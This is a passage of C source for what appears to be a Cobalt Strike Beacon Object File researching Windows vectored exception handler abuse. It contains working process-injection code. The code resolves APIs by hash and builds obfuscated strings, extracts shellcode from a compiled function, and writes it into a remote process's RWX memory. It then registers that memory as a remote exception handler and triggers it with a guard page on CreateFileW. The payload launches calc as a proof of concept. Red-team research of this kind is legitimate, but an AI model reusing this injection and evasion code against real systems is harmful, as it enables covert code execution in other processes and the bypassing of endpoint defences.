    if (dllBase == 0)
    goto EXIT_FUNC;

    #if defined(_DEBUG) && defined(BOF)
    BeaconPrintf(CALLBACK_OUTPUT, "Finished parsing export table");
    BeaconPrintf(CALLBACK_OUTPUT, "DLL Base: 0x%X", dllBase);
    #endif

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((byte*)dllBase + dosHeader->e_lfanew);
    DWORD exportDescriptorOffset = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((byte*)dllBase + exportDescriptorOffset);
    PDWORD func = (PDWORD)((byte*)dllBase + exportTable->AddressOfFunctions);
    PDWORD names = (PDWORD)((byte*)dllBase + exportTable->AddressOfNames);
    PWORD ord = (PWORD)((byte*)dllBase + exportTable->AddressOfNameOrdinals);

    _VirtualProtect pVirtualProtect = NULL;
    _GetModuleHandleA pGetModuleHandleA = NULL;
    _GetProcAddress pGetProcAddress = NULL;

    int n = 0;
    do {
    char* funcName = (char*)((byte*)dllBase + names[n]);
    PVOID funcAddr = (byte*)dllBase + func[ord[n]];

    unsigned long hash = 5381;
    int c;

    while ((c = *funcName++))
    hash = ((hash << 5) + hash) + c;

    #if defined(_DEBUG) && defined(BOF)
    BeaconPrintf(CALLBACK_OUTPUT, "Function: %s, Hash=%lu", funcName, hash);
    #endif
    if (hash == 3476142879) {
    pGetProcAddress = (_GetProcAddress)funcAddr;
    }

    if (hash == 2219831693) {
    pVirtualProtect = (_VirtualProtect)funcAddr;
    }

    if (hash == 1511341912) {
    pGetModuleHandleA = (_GetModuleHandleA)funcAddr;
    }
    ++n;
    } while (n < exportTable->NumberOfNames -1);

    #if defined(_DEBUG) && defined(BOF)
    BeaconPrintf(CALLBACK_OUTPUT, "GetProcAddress: %p", pGetProcAddress);
    BeaconPrintf(CALLBACK_OUTPUT, "VirtualProtect: %p", pVirtualProtect);
    BeaconPrintf(CALLBACK_OUTPUT, "GetModuleHandleA: %p", pGetModuleHandleA);
    #endif
    if (pGetProcAddress == NULL || pGetModuleHandleA == NULL)
    goto EXIT_FUNC;

    char kernel32_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
    char winexec_name[] = { 'W','i','n','E','x','e','c', 0 };
    char command[] = {
    'c', ':', '\\',
    'w', 'i', 'n', 'd', 'o', 'w', 's', '\\',
    's', 'y', 's', 't', 'e', 'm', '3' ,'2', '\\',
    'c', 'a', 'l', 'c', 0
    };

    HMODULE kernel32 = pGetModuleHandleA(kernel32_name);
    _WinExec pWinExec = (_WinExec)pGetProcAddress(kernel32, winexec_name);
    pWinExec(command, 1);

    EXIT_FUNC:
    return EXCEPTION_CONTINUE_EXECUTION;
    }

    void END_SHELLCODE(void) {}

    PVOID FindShellcode(unsigned int* outLen, BOOL trim)
    {
    // Use this trick from Nick Harbour. Extracts the assembly from our own compiled function (ShellcodeFunc)
    // We create a placeholder function called END_SHELLCODE which is placed directly after our shellcode func
    // Then we just need to subtract the ShellcodeFunc address from the END_SHELLCODE address to get the length
    // See: https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
    // Note: this requires incremental linking to be disabled for debug builds
    // https://stackoverflow.com/questions/2485336/address-of-function-is-not-actual-code-address

    PVOID start = ShellcodeFunc;
    PVOID end = END_SHELLCODE;

    if (trim)
    {
    // Optionally trim any extra 0xCC bytes after retn
    while ((byte*)start + (*outLen)++ <= (byte*)end - sizeof(unsigned))
    {
    //if (*((byte*)start + *outLen) == 0xcc
    // && *((byte*)start + (*outLen - 1)) == 0xc3)
    // break;

    // TODO: do we care about alignment?
    // If so then add a modulo check here
    if (*(unsigned*)((byte*)start + *outLen) == 0xCCCCCCCC
    && *((byte*)start + *outLen - 1) == 0xC3)
    break;
    }
    }
    else
    {
    *outLen = ((byte*)end - (byte*)start);
    }
    BeaconPrintf(CALLBACK_OUTPUT, "Start=%p, End=%p (test: %d)", start, end, (start < end));
    BeaconPrintf(CALLBACK_OUTPUT, "Shellcode length=%llu", *outLen);
    return &ShellcodeFunc;
    }

    void RopTest()
    {
    /*
    InjectVEH!MyVectoredHandler InjectVEH.cpp @ 40]:
    00007ff6`402c1b10 48894c2408 mov qword ptr [rsp+8],rcx
    00007ff6`402c1b15 b8ffffffff mov eax,0FFFFFFFFh
    00007ff6`402c1b1a c3 ret
    00007ff6`402c1b1b cc int 3
    00007ff6`402c1b1c cc int 3
    00007ff6`402c1b1d cc int 3
    00007ff6`402c1b1e cc int 3
    00007ff6`402c1b1f cc int 3
    */
    //DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
    //DFR_LOCAL(KERNEL32, RaiseException);
    AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)0x4141414141414141);
    AddVectoredExceptionHandler(0, (PVECTORED_EXCEPTION_HANDLER)0x4242424242424242);
    //AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "Exception handler added");
    BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue ..");
    getchar();
    RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    }

    void go(char* args, int len)
    {
    #pragma warning( disable : 6387 )
    #pragma warning( disable : 6031 )
    //DFR_LOCAL(KERNEL32, GetProcAddress);
    //DFR_LOCAL(KERNEL32, GetModuleHandleA);
    //DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
    //DFR_LOCAL(KERNEL32, GetCurrentProcessId);
    //DFR_LOCAL(KERNEL32, RaiseException);
    //DFR_LOCAL(KERNEL32, OpenProcess);
    //DFR_LOCAL(KERNEL32, VirtualAllocEx);
    //DFR_LOCAL(KERNEL32, WriteProcessMemory);
    //DFR_LOCAL(KERNEL32, VirtualProtectEx);
    //DFR_LOCAL(KERNEL32, VirtualProtect);
    //DFR_LOCAL(KERNEL32, VirtualAlloc);
    //DFR_LOCAL(KERNEL32, CloseHandle);
    //DFR_LOCAL(KERNEL32, GetLastError);
    //DFR_LOCAL(KERNEL32, Sleep);
    //DFR_LOCAL(MSVCRT, memcpy);
    //DFR_LOCAL(MSVCRT, getchar);
    //DFR_LOCAL(MSVCRT, fopen);
    //DFR_LOCAL(MSVCRT, fwrite);
    //DFR_LOCAL(MSVCRT, fclose);

    ULONGLONG head;
    HANDLE hProc = NULL;
    DWORD dwPid = 0;
    DWORD oldProtect = 0;
    SIZE_T bytesWritten = 0;
    void* alloc = NULL;
    void* addr = NULL;
    unsigned int scLen = 0;
    PVOID scBuf = NULL;
    FILE* output_file = NULL;
    datap parser;

    BeaconDataParse(&parser, args, len);
    int opt = BeaconDataInt(&parser);

    BeaconPrintf(CALLBACK_OUTPUT, "Opt: %d", opt);
    BeaconPrintf(CALLBACK_OUTPUT, "Running in PID: %d", GetCurrentProcessId());

    switch(opt)
    {
    case 0:
    TestAddHandlerDefault();
    break;
    case 1:
    TestAddHandlerCustom();
    break;
    case 2:
    AddVectoredExceptionHandler(TRUE, &MyVectoredHandler);
    BeaconPrintf(CALLBACK_OUTPUT, "Added handler");

    head = GetLdrpVectorHandlerList();
    DumpHandlerList((PVECTORED_HANDLER_LIST)head);

    BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue ..");
    getchar();
    RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    break;
    case 3:
    dwPid = BeaconDataInt(&parser);
    BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid);

    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProc == NULL)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d",
    dwPid, GetLastError());
    return;
    }

    head = GetLdrpVectorHandlerList();
    DumpHandlerListEx(hProc, (void*)head);
    break;
    case 4:
    dwPid = BeaconDataInt(&parser);
    BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid);

    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProc == NULL)
    {
    BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d", dwPid, GetLastError());
    return;
    }

    scLen = 0;
    scBuf = FindShellcode(&scLen, TRUE);

    //alloc = VirtualAllocEx(hProc, 0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    //alloc = VirtualAllocEx(hProc, 0, sizeof(dbgBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    alloc = VirtualAllocEx(hProc, 0, scLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (alloc == NULL)
    return;
    BeaconPrintf(CALLBACK_OUTPUT, "Allocated shellcode at %p", alloc);

    //WriteProcessMemory(hProc, alloc, calcBytes, sizeof(calcBytes), &bytesWritten);
    //WriteProcessMemory(hProc, alloc, dbgBytes, sizeof(dbgBytes), &bytesWritten);
    WriteProcessMemory(hProc, alloc, scBuf, scLen, &bytesWritten);
    BeaconPrintf(CALLBACK_OUTPUT, "Wrote %d bytes of shellcode", bytesWritten);

    RtlpAddVectoredHandlerEx(hProc, FALSE, (PVECTORED_EXCEPTION_HANDLER)alloc, FALSE);

    // Cause debug exception
    //addr = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
    //VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    //WriteProcessMemory(hProc, addr, dbgBytes, sizeof(dbgBytes), &bytesWritten);
    //VirtualProtectEx(hProc, addr, 1, oldProtect, &oldProtect);

    // Cause a guard page violation
    addr = GetProcAddress(GetModuleHandleA("kernel32"), "CreateFileW");
    VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect);

    break;
    case 5:
    alloc = VirtualAlloc(0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(alloc, calcBytes, sizeof(calcBytes));

    AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)alloc);
    BeaconPrintf(CALLBACK_OUTPUT, "Added calc handler");

    head = GetLdrpVectorHandlerList();
    DumpHandlerList((PVECTORED_HANDLER_LIST)head);
    BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit ..");

    getchar();
    RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    break;
    case 6:
    RtlpAddVectoredHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)ShellcodeFunc, FALSE);
    BeaconPrintf(CALLBACK_OUTPUT, "Added ShellcodeFunc handler");
    head = GetLdrpVectorHandlerList();
    DumpHandlerList((PVECTORED_HANDLER_LIST)head);
    BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit ..");
    getchar();
    //RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
    VirtualProtect(GetProcAddress(GetModuleHandleA("kernel32"), "Sleep"), 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect);
    Sleep(1000);
    BeaconPrintf(CALLBACK_OUTPUT, "All done");
    break;
    case 7:
    scLen = 0;
    scBuf = FindShellcode(&scLen, TRUE);
    BeaconPrintf(CALLBACK_OUTPUT, "Shellcode at: %#llx", scBuf);
    output_file = fopen("shellcode.bin", "w");
    fwrite(scBuf, scLen, 1, output_file);
    fclose(output_file);
    BeaconPrintf(CALLBACK_OUTPUT, "Written shellcode");
    break;
    case 8:
    RopTest();
    break;
    }
    if (hProc != NULL)
    CloseHandle(hProc);
    }
    }

    // Define a main function for the bebug build
    #if defined(_DEBUG) && !defined(_GTEST)

    int main(int argc, char* argv[]) {
    if (argc < 2)
    {
    BeaconPrintf(CALLBACK_ERROR, " \n Usage: %s <op> <args>", argv[0]);
    BeaconPrintf(CALLBACK_ERROR, " \n Opcodes:\n");
    BeaconPrintf(CALLBACK_ERROR, " 0: Test AddVectoredExceptionHandler (default API)");
    BeaconPrintf(CALLBACK_ERROR, " 1: Test RtlpAddVectoredHandler (custom implementation)");
    BeaconPrintf(CALLBACK_ERROR, " 2: Add a VEH and wait for input");
    BeaconPrintf(CALLBACK_ERROR, " 3: Dump VEH from remote proc");
    BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>");
    BeaconPrintf(CALLBACK_ERROR, " 4: Inject VEH into remote proc (custom implementation)");
    BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>");
    return 1;
    }

    int op = atoi(argv[1]);
    bof::mock::BofData data;
    data << op;

    if (argc == 3)
    data << atoi(argv[2]);

    go(data.get(), data.size());
    return 0;
    }

    // Define unit tests
    #elif defined(_GTEST)
    #include <gtest\gtest.h>

    TEST(BofTest, Test1) {
    std::vector<bof::output::OutputEntry> got =
    bof::runMocked<>(go);
    std::vector<bof::output::OutputEntry> expected = {
    {CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"}
    };
    // It is possible to compare the OutputEntry vectors, like directly
    // ASSERT_EQ(expected, got);
    // However, in this case, we want to compare the output, ignoring the case.
    ASSERT_EQ(expected.size(), got.size());
    ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str());
    }
    #endif